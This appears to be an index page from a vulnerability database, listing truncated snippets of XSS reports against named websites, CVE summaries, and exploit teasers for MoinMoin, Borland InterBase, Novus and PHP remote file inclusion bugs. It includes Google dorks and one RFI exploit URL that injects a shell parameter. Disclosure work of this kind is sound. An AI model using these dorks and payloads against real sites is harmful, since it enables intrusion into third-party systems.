Unfixed XSS vulnerability at www.newcom101.de

Security researcher Uber0n, has submitted on 23/01/2008 a cross-site-scripting XSS vulnerability affecting www.newcom101.de, which at the time of submission ranked 161020 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 23/01/2008. It is current...

MoinMoin 1.5.x MOIND_ID cookie Bug Remote Exploit

Exploit for unknown platform in category web applications ================================================= MoinMoin 1.5.x MOINDID cookie Bug Remote Exploit ================================================= !/usr/bin/python Exploit for the MOINDID cookie Bug MoinMoin 1.5.x Find your patch in :...

MoinMoin 1.5.x - MOIND_ID Cookie Login Bypass

MoinMoin 1.5.x - MOINDID Cookie Login Bypass !/usr/bin/python Exploit for the MOINDID cookie Bug MoinMoin 1.5.x Find your patch in : http://hg.moinmo.in/moin/1.5/rev/e69a16b6e630 Bug and exploit coded by just a nonroot and colombian user Enero 21 de 2008 Greets: el directorio and all the SL...

Debian Security Advisory DSA 223-1 (geneweb)

The remote host is missing an update to geneweb announced via advisory DSA 223-1. OpenVAS Vulnerability Test $Id: deb2231.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 223-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...

Unfixed XSS vulnerability at www.college-de-france.fr

Security researcher Stacker, has submitted on 01/07/2008 a cross-site-scripting XSS vulnerability affecting www.college-de-france.fr, which at the time of submission ranked 313082 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/07/2008. It i...

Unfixed XSS vulnerability at www.dream4.de

Security researcher Wildcat, has submitted on 12/09/2007 a cross-site-scripting XSS vulnerability affecting www.dream4.de, which at the time of submission ranked 126479 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/09/2007. It is currently...

Unfixed XSS vulnerability at ww.blackic3.de

Security researcher Uber0n, has submitted on 11/12/2007 a cross-site-scripting XSS vulnerability affecting ww.blackic3.de, which at the time of submission ranked 4724356 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/12/2007. It is currentl...

Unfixed XSS vulnerability at www.control2000.de

Security researcher H-GIB, has submitted on 11/02/2007 a cross-site-scripting XSS vulnerability affecting www.control2000.de, which at the time of submission ranked 425550 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/02/2007. It is...

Borland InterBase SVC_attach() Buffer Overflow

This module exploits a stack buffer overflow in Borland InterBase by sending a specially crafted service attach request. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Borland InterBase...

novus-sql.txt

Novus - Sistema de administracion y contenido. bug: Sql Inyection. official site: http://novus.com.mx d0rk: "Powered by Novus" free: no system: asp bug found by ka0x D.O.M TEAM we: ka0x, an0de, xarnuz, s0cratex ka0x01atgmail.com tables: 1- anota.notaid 2- anota.fepublicacion 3- anota.seccionid 4-...

Novus 1.0 - 'notas.asp?nota_id' SQL Injection

Novus - Sistema de administracion y contenido. bug: Sql Inyection. official site: http://novus.com.mx d0rk: "Powered by Novus" free: no system: asp bug found by ka0x D.O.M TEAM we: ka0x, an0de, xarnuz, s0cratex ka0x01atgmail.com tables: 1- anota.notaid 2- anota.fepublicacion 3- anota.seccionid 4-...

Unfixed XSS vulnerability at www.n24.de

Security researcher Narcoticxs, has submitted on 20/09/2007 a cross-site-scripting XSS vulnerability affecting www.n24.de, which at the time of submission ranked 20376 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 22/09/2007. It is currently...

Unfixed XSS vulnerability at www.vmx1.de

Security researcher T-Ping, has submitted on 18/09/2007 a cross-site-scripting XSS vulnerability affecting www.vmx1.de, which at the time of submission ranked 4377972 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 22/09/2007. It is currently...

CVE-2007-4410

Affected software: ircu (IRC daemon) versions 2.10.12.05 and earlier. Issue: a synchronization flaw in handling kick actions in certain cross scenarios. Root cause: kick actions are not properly synchronized, enabling remote authenticated operators to block or override subsequent kick or de-op ac...

systemedevote-rfi.txt

//////////////////////////////////////////// Système de vote en temps réel v1.0 Remote File İnclude Bug //////////////////////////////////////////// Author : CrackersChild //////////////////////////////////////////// Contact : [email protected] & http://karanliktaoynayanlar.com &...

eXV2.de Browser Cookie is not properly sanitised

Details ======= Product: eXV2.de CMS = 2.0.5. Severity: moderated Remote-Exploit: yes Vendor-URL: http://www.exv2.de/ Vendor-Status: informed Advisory-Status: published Credits ============ Discovered by: Vision aka n-tier http://www.i-s-o.org Original Advisory: ============...

Coppermine Photo Gallery (yabbse.inc.php) Remote File Inclusion Vulnerability

Coppermine Photo Gallery 1.3.1 Remote File Inclusion Vulnerability DoRk:"Powered by Coppermine Photo Gallery" Vuln. code: requireonce"$sourcedir/Load.php";requireonce"$sourcedir/Security.php"; Exploit: www.server.com/path/bridge/yabbse.inc.php?sourcedir=Sh3LL Author:Ma$tEr-0F-De$a$t0r...

Remote file inclusion

PHP remote file inclusion vulnerability in admin.tourtoto.php in the Tour de France Pool comtourtoto 1.0.1 module for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2007-4186

PHP remote file inclusion vulnerability in admin.tourtoto.php in the Tour de France Pool comtourtoto 1.0.1 module for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

tourde-rfi.txt

------------Yollubunlar.Org---------------- Title : Tour de France Pool 1.0.1 Remote File İnclude Bug Author : Yollubunlar.Org Orginal : http://yollubunlar.org/our-de-france-pool-101-remote-file-include-43.html Mail : [email protected] Down :...